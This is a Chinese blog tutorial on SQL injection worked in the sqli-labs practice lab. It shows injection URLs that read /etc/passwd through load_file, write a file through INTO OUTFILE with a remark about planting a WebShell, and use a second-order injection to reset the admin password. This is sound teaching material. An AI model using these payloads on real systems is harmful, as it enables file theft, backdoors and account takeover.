SQL注入-GET方式SQL注入(三)

2022年8月11日10:16:19 发表评论 257 views

1.1 SQL注入读写文件

1.1.1 读取文件

在MySQL中读取文件,使用load file("文件路径/名称")

  • 测试URL:http://192.168.10.159/sqli-labs/Less-1/?id=-1' union select 1, load_file("/etc/passwd"),3 --+
  • 实际SQL:SELECT * FROM users WHERE id='-1' union select 1, load_file("/etc/passwd"),3 -- ' LIMIT 0,1

SQL注入-GET方式SQL注入(三)

【结果分析】:

使用union联合查询在可输出位置执行load file 函数来读取文件。

1.1.2 写入文件

into outfile语句用于把表数据导出到一个文本文件中,用法::

select * from Table into outfile '/路径/文件名'

  • 测试URL:http://192.168.10.159/sqli-labs/Less-7/?id=-1')) union select 1, 2, 'php one word backdoor' into outfile "/var/lib/mysql/backdoor.php" --+
  • 实际SQL:SELECT * FROM users WHERE id=(('-1')) union select 1, 2, 'php one word backdoor' into outfile "/var/lib/mysql/backdoor.php" -- ')) LIMIT 0,1

[root@centos7-sqlilabs ~]# cd /var/lib/mysql/
[root@centos7-sqlilabs mysql]# cat backdoor.php
1   2   php one word backdoor

【结果分析】:

使用select 1, 2, 'php one word backdoor' into outfile以逗号分隔字段的方式将数据导入到一个文件中,实际利用select查询到的内容为1,2, php one word backdoor,再写入到系统文件。

PS.这里因为mysql权限问题只能上传文件到mysql数据目录下,如果可以上传文件到网站根目录下,我们就可以直接上传一个WebShell获得权限。

1.2 二次注入修改其他用户密码

1.2.1 构建payload修改其他用户密码

1.2.1.1 数据库中用户密码情况

MariaDB [security]> select * from users;
+----+------------+------------+
| id | username   | password   |
+----+------------+------------+
|  1 | Dumb       | Dumb       |
|  2 | Angelina   | I-kill-you |
|  3 | Dummy      | p@ssword   |
|  4 | secure     | crappy     |
|  5 | stupid     | stupidity  |
|  6 | superman   | genious    |
|  7 | batman     | mob!le     |
| <span style="color: #ff0000;"> 8 | admin      | admin  </span>    |
|  9 | admin1     | admin1     |
| 10 | admin2     | admin2     |
| 11 | admin3     | admin3     |
| 12 | dhakkan    | dumbo      |
| 14 | admin4     | admin4     |
+----+------------+------------+
14 rows in set (0.00 sec)

1.2.1.2 构建payload注册用户

SQL注入-GET方式SQL注入(三)

1.2.1.3 登录后修改用户密码

SQL注入-GET方式SQL注入(三)

1.2.1.4 使用更改后的密码登录admin用户

SQL注入-GET方式SQL注入(三)

1.2.1.5 查看数据用户密码

MariaDB [security]> select * from users;
+----+------------+------------+
| id | username   | password   |
+----+------------+------------+
|  1 | Dumb       | Dumb       |
|  2 | Angelina   | I-kill-you |
|  3 | Dummy      | p@ssword   |
|  4 | secure     | crappy     |
|  5 | stupid     | stupidity  |
|  6 | superman   | genious    |
|  7 | batman     | mob!le     |
|  8 | admin      | 654321     |
|  9 | admin1     | admin1     |
| 10 | admin2     | admin2     |
| 11 | admin3     | admin3     |
| 12 | dhakkan    | dumbo      |
| 14 | admin4     | admin4     |
| 15 | admin'-- + | 123456     |
+----+------------+------------+
14 rows in set (0.00 sec)

【结果分析】:

admin'-- +用户的密码并没有被修改,但是admin用户的密码被成功修改成654321

实际SQL:UPDATE users SET PASSWORD='654321' where username='admin'-- +' and password='123456'

通过我们构建的payload,实际修改的是admin用户的sql语句。

weinxin
我的微信
如果有技术上的问题可以扫一扫我的微信
版权声明
1. 本网站名称:Leon的博客
2. 本站永久网址:https://blog.leonshadow.cn
3. 本网站的文章部分内容可能来源于网络,仅供大家学习与参考,如有侵权,请联系站长QQ632113590进行删除处理。
4. 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
5. 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
6. 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
liyang